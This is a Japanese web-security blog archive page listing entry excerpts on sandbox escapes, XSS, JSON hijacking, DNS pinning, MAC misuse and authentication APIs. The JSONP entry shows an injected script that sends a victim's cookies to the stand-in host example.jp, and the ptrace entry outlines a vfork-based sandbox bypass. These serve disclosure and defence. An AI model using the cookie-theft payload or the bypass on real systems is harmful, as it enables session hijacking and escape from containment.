2009年03月16日
FreeBSD の ptrace ではサンドボックスを作れないという話
t/rperl.tを使うと、特定のシステムコールを禁止しつつ任意の perl script を実行できます。
404 Blog Not Found:perl - FreeBSD::i386::Ptrace released!
自分も今回、弾さんのモジュールを試すまで知らなかったのですが、FreeBSD では ptrace をそのような目的で使うことはできないと思います。というのは、私の理解が正しければ、linux とは異なり、FreeBSD の ptrace でシステムコールの実行を検出し PT_KILL を発行しても、そのプロセスが停止するのはシステムコールの終了直後になるからです。
具体例を挙げると、たとえば unlink(2) の実行を検出しトレース対象のプロセスを殺そうとしたところで、そのプロセスが停止するのは unlink システムコールの実行後となるため、ファイルの削除を抑制することはできません。
さらに、vfork(2) は、仕様として、生成された子プロセスが execve(2) を呼び出すか、あるいは終了するまで、システムコールの実行が完了しません (つまりそれまでトレース対象のプロセス (実際はプロセスグループなんじゃないかな) を停止できない)。その結果、ptrace によるシステムコールの監視下にあっても、
vfork(); // 以下は生成された子プロセスでのみ実行される 複数個の任意のシステムコールを含むコード ... _exit(0); // 子プロセスの終了直後に親プロセスが PT_KILL されるのような形で、任意のプログラムが実行可能となってしまいます。
以上は、手元の FreeBSD 6.3R で検証した結果ですが、最新リリースでも当該部分の動作は変わっていないのではないかと思います。
参考: Deny system call using ptrace | KernelTrap, geordi - C++ eval bot投稿者 kazuho : 2009年03月16日 14:50 | トラックバック (0)
2008年12月16日
Text::MicroTemplate - テンプレートエンジンのセキュリティと利便性
先月開催された Shibuya.pm #10 でプレゼンテーションがあった MENTA や NanoA では、Mojo 由来のテンプレートエンジンを拡張して使用してきたのですが、Perl モジュールとして独立させるべきだよね、ということになり、このたび Text::MicroTemplate として CPAN にアップロードしました。
そのことを告知するとともに、作業の過程で興味深く感じた、テンプレートエンジンのセキュリティと利便性に関する話題をブログに書いておこうと思います。
テンプレートエンジンのエスケープ機能の歴史
続きを読む "Text::MicroTemplate - テンプレートエンジンのセキュリティと利便性"
投稿者 kazuho : 2008年12月16日 20:59 | トラックバック (0)
2007年11月12日
djbdns にパッチをあてて Anti-DNS Pinning 対策
Anti-DNS Pinning 攻撃について、以前から DNS キャッシュサーバで対処すべきだよねという話はしていたのですが、ふと思い立って、djbdns 用のパッチを書いてみました (djbdns-antidns-pinning-block.patch)。下のログをご覧いただければ明らかなように、外部の DNS キャッシュに問い合わせると 127.0.0.1 が返ってくるアドレスについて、ローカルホストで動作している DNS キャッシュは 169.254.0.0 という無効なアドレスを返しています。本当は不正なアドレスを削除して NXDOMAIN を返すようにするべきなのでしょうが、パケットサイズの調整等が面倒なので、とりあえずは適当なアドレスを埋め込む方向で。
このパッチをちゃんとしたものにすべきかどうかはともかくとして、同様の対策はクローラーとかその手のものを運用する場合にも必要になったりします。そもそもインターネット上にあるDNSサーバがプライベートアドレスを返してくるというのがおかしいのですから、DNS キャッシュレベルでの対策が早く一般化すればいいなと思います。もっとも、Gungho 等、自前で対策コードを実装しているソフトもあったりするんですけど :-p
続きを読む "djbdns にパッチをあてて Anti-DNS Pinning 対策"
投稿者 kazuho : 2007年11月12日 16:09 | トラックバック (0)
2007年03月28日
Re: SessionSafe: Implementing XSS Immune Session Handling
SessionSafe というウェブアプリケーションの実装方式が提案されていることを知りました (via. T.Teradaの日記) 。要点をまとめると、3種類の手法を組み合わせることで、XSS 脆弱性があったとしても、同一サービスの他のページの詐取を防止しようという試み。
1) セッションID管理専用のサブドメイン
2) XSS から窃取・改ざんできない URL
3) ページごとにサブドメインを切り替える
で、提案者が「議論するんじゃなくて攻撃してみてよ :)」とおっしゃっているので、英語ブログで exploit を書いてみました。自分がこの攻撃手法を知ったのは「snippets from shinichitomita’s journal - クロスドメインでのデータ読み込みを防止するJavaScript ?」の nanto_vi さんのコメントによってなんだけど、海外でも知られてない手法だったんでしょうか。すごいなぁ。
本題の SessionSafe については、 2 が担保されない限りは特殊なセッション ID 管理手法を取る理由はないので、Typekey+ページごとのサブドメイン切り替え、といったアプローチと同等じゃないかと思いました。
投稿者 kazuho : 2007年03月28日 05:24 | トラックバック (0)
2007年01月12日
JSONP - データ提供者側のセキュリティについて
JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。
GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript; charset=utf-8 <script>location='http://example.jp/'+document.cookie</script>({ ... })
この例の URL を Internet Explorer で直接アクセスすると、クエリ文字列から注入されたスクリプトが実行され、example.com のクッキーが example.jp によって詐取されます。なぜそうなるのでしょう?
続きを読む "JSONP - データ提供者側のセキュリティについて "
投稿者 kazuho : 2007年01月12日 15:05 | コメント (3) | トラックバック (1)
2007年01月10日
E4X-XSS 脆弱性について
Firefox でサポートされている JavaScript 拡張 E4X (ECMA-357) では、JavaScript 内に XML とほぼ同様のマークアップ言語を記述できるようになっています。しかし、マークアップ言語の解釈にはいくつかの違いがあり、この点をついたクロスサイトスクリプティングの可能性が (相当に小さいものの) 存在します。攻撃者は、
- ウェブアプリケーションに E4X として解釈した場合に実行コードとして解釈されるコードを注入 (XSS) し、
- 1 のコンテンツを <script> タグを用いて参照するような別のウェブサイトを用意し、攻撃対象にアクセスさせる (受動的攻撃)
投稿者 kazuho : 2007年01月10日 12:37 | トラックバック (1)
2007年01月06日
安全な JSON, 危険な JSON (Cross-site Including?)
先のエントリで、
JSON については、JavaScript として副作用をもたない (もたせようがない) ゆえに
(Kazuho@Cybozu Labs: クロスサイトのセキュリティモデル)文法違反であるがゆえに、秘密情報を含むデータフォーマットとして使用することができるのです。
と書いたのですが、認識が甘かったようです。Jeremiah Grossman: Advanced Web Attack Techniques using GMail によると、配列の初期化演算子 [] の動作を外部から変更することができる注1とのこと。
実際に手元の Firefox 1.5 で試してみたところ、JSON データが配列として返される場合は、サイトをまたいで参照できるようです。コードは下記のとおり。
続きを読む "安全な JSON, 危険な JSON (Cross-site Including?)"
投稿者 kazuho : 2007年01月06日 10:07 | トラックバック (0)
2007年01月04日
クロスサイトのセキュリティモデル
あけましておめでとうございます。
昨年、社内で「XMLHttpRequest は何故クロスサイトで使えないのか。画像や SCRIPT タグは使えるのに」という疑問 (というより試問) を耳にしました。おもしろい話なのでブログネタにしようと思っていたのですが、新年早々 GMAIL の事例がスラッシュドットされていたので、自分の現時点での理解をまとめてみることにしました。文書を確認して書いているわけではないので、間違いがあれば指摘してください。また、よい参考文献をご存知の方がいらっしゃいましたら、教えていただければ幸いです。
投稿者 kazuho : 2007年01月04日 11:40 | トラックバック (2)
2006年06月23日
Captcha Plugin/ja について
Ogawa::Memoranda さんが Captcha Plugin を公開されているということを知りました。
どういう方式でやっているのかな、と思って拝見しました (きれいな構成だと思いました) が、MD5 の使い方に問題がありそうです。
続きを読む "Captcha Plugin/ja について"
投稿者 kazuho : 2006年06月23日 12:49 | コメント (2) | トラックバック (0)
2006年06月06日
Firefox の脆弱性報告
昨年報告した Mozilla Firefox の脆弱性が修正されました。
- MFSA 2006-33: HTTP response smuggling (mozilla.org)
- MFSA 2006-33: HTTP レスポンスの不正な挿入 (Mozilla Japan)
- Mozilla Firefox において HTTP ヘッダ名解釈に関してレスポンス分割が可能な脆弱性 (JVN)
- Mozilla Firefox において HTTP 1.0 解釈に関してレスポンス分割が可能な脆弱性 (JVN)
- 「Mozilla Firefox」において HTTP ヘッダ名解釈に関してレスポンス分割が可能な脆弱性注 (IPA)
- 「Mozilla Firefox」において HTTP 1.0 解釈に関してレスポンス分割が可能な脆弱性注 (IPA)
投稿者 kazuho : 2006年06月06日 14:54 | コメント (6) | トラックバック (0)
2006年05月11日
はてな認証 API の改善案
だんだん自分の中でも認証 API の問題が整理できてきたように思うので、改善案を書こうと思います。
まず、そもそも認証 API に何を期待するのか、という点について。
投稿者 kazuho : 2006年05月11日 10:59 | コメント (4) | トラックバック (1)
Re: 攻撃してください→はてな認証の仮想セッション
先のエントリについて、tociyuki さんが、「セッションを開始しておけば、第三者にそのセッション ID が漏れない限りハイジャックするのは難しいのでは?」ということで、
セッションを作るときは下のようにするのが通常のやりかたです。これに対して「攻撃者がステップ 10 および 11 から cert のみを取得でき、被攻撃者のクッキーを読めない」という前提で、攻撃のシナリオはどうしたら良いのでしょうか? 攻撃者と被攻撃者のクッキーのセッション ID は異なるとします。
(攻撃してください→はてな認証の仮想セッション)
というエントリを書いていらっしゃいます。
続きを読む "Re: 攻撃してください→はてな認証の仮想セッション"
投稿者 kazuho : 2006年05月11日 05:59 | トラックバック (0)
2006年05月09日
はてな認証 API への攻撃シナリオ
少し方向を変えて、 cert の漏洩に関する話です。
投稿者 kazuho : 2006年05月09日 14:12 | トラックバック (1)
2006年05月08日
秘密鍵を後置している MAC の危険性
先のエントリについて、結城さんが『「Hash ≠ MAC」の意味』に、まとめてくださっています。ありがとうございます。
ついでに、秘密鍵が後置されている場合のリスクについても考えていたのですが、
- ハッシュ関数の衝突例が知られている
- 毎回選択平文攻撃が可能
- ゴミデータの挿入が可能 (これは前置型と同等の条件)
の3条件がすべて満たされている場合は、危険なんじゃないでしょうか。
投稿者 kazuho : 2006年05月08日 07:31 | トラックバック (0)
2006年05月07日
Hash ≠ MAC
ハッシュ関数を MAC (メッセージ認証コード; いわゆる秘密鍵による署名) として使用していけません、という件について。
HMAC の論文を見たところ、様々な攻撃手法について述べてありました。ちなみに、今回のケースは、 Extension Attack です。引用すると、
投稿者 kazuho : 2006年05月07日 17:11 | トラックバック (1)
2006年05月06日
Re: はてな認証 API
naoya さんありがとうございます、ということで、「認証APIのメモについてのレス」への返答です。
投稿者 kazuho : 2006年05月06日 20:59 | トラックバック (2)
はてな認証 API
はてな認証 APIについて、気になったことを、忘れないうちにまとめておこうと思います。同様の指摘が既にあるかもしれませんが。
投稿者 kazuho : 2006年05月06日 13:21 | コメント (3) | トラックバック (0)
2006年04月11日
CSRF 対策 w. JavaScript
CSSXSS に対して脆弱でない CSRF 対策とはどのようなものか、という議論が続いているようですが、JavaScript を用いてよいのであれば、簡単な対策手法が存在すると思います。
投稿者 kazuho : 2006年04月11日 16:30 | トラックバック (2)
2006年02月28日
HTTP 認証でログアウト処理
今日、IPA が開催した「ウェブアプリケーション開発者向けセキュリティ実装講座」に参加してきました。
投稿者 kazuho : 2006年02月28日 20:42 | トラックバック (0)
2006年02月24日
Web Identity Syndication (WEIS)
「2006年は認証APIの年」らしいので、ラボで暖めていた仕様を公開したいと思います。
続きを読む "Web Identity Syndication (WEIS)"
投稿者 kazuho : 2006年02月24日 12:25 | トラックバック (3)
2005年12月13日
安全なリダイレクタ
リダイレクタの存在は脆弱性か? (高木浩光@自宅の日記) 等で、リダイレクタが脆弱性かどうか、というのが話題になっていました。
個人的には、脆弱性かどうかはともかく、不要なリスクを回避するためにも、サービス事業者は自社のリダイレクタに何らかの制限機構を入れるべきだと思います。
その技術的な実現方法についてですが、必ずしもデータベース等を用意する必要はありません。一番楽なのは、メッセージ認証コード (MAC) を使う方法だと思います。
投稿者 kazuho : 2005年12月13日 16:05 | コメント (2) | トラックバック (0)